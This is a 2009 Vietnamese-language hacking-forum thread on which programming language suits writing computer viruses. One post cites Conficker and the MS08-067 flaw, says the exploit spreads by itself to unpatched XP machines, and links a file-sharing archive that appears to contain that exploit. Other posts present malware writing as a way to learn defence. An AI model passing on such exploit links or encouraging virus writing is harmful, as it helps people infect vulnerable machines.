theo ý kiến cá nhân của mình thi điều kiện tiên quyết là hiểu rõ hệ thống virus sẽ lây nhiễm,dữa vào lỗi của hệ thống ví dụ conficker sẽ lây lan qua lỗi NZM-MS08-67

Patched up now but pretty much everyone running an unpatched XP SP2/SP3 was vulnerable. A lot of ISP's have now also blocked the port, but of course there are exceptions. The MS08-067 exploit can scan for vulnerable machines and infect them quite easily, causing it to spread automatically without hassle.

http://rapidshare.com/files/271123667/NZM-MS08-67.rar

nhưng quan trọng hơn cả là lập trình,hiểu rõ nguyên lí của hệ điều hành(linux,win...)

HaCk t0 LeArN,N0t LeArN t0 HaCk

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	03/09/2009 19:56:56 (+0700) \| #18 \| 191876

lacazizi
Member

Joined: 03/03/2009 19:58:22
Messages: 87
Offline

Nếu viết Virus vào mục đích học tập như thử xem trình độ code của mình ra sao, như vậy sẽ tốt hơn.

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	09/09/2009 04:52:30 (+0700) \| #19 \| 192141

m3onh0x84
Member

Joined: 29/11/2007 15:22:21
Messages: 467
Location: lang thang 4 biển
Offline

Thê có ai trước khi viết virus đọc và nằm vững "ART OF PROGRAMMING" k0 nhỉ smilie

1/ LÀM ƠN "Đọc kĩ hướng dẫn sử dụng trước khi dùng".
2/homepage: trước khi hỏi thì LÀM ƠN tìm kiếm. Vì để biết nhiều hơn thì ai cũng phải đọc "VỪNG ƠI MỞ RA"
Hỏi FAQ thì lên asking.vn mà hỏi

[Question] Dùng ngôn ngữ nào để viết virus cho tiện lợi	11/09/2009 23:11:59 (+0700) \| #20 \| 192406

vioio
Member

Joined: 31/07/2009 00:36:41
Messages: 9
Offline

Biết cách làm 1 con vr mới biết cách chặn nó lại.làm nhiều sẽ tích lũy đc kinh nghiệm để làm 1 tool để chặn nó.Muốn sửa thì hãy phá nó trước đã.

Go to:

Users currently in here
1 Anonymous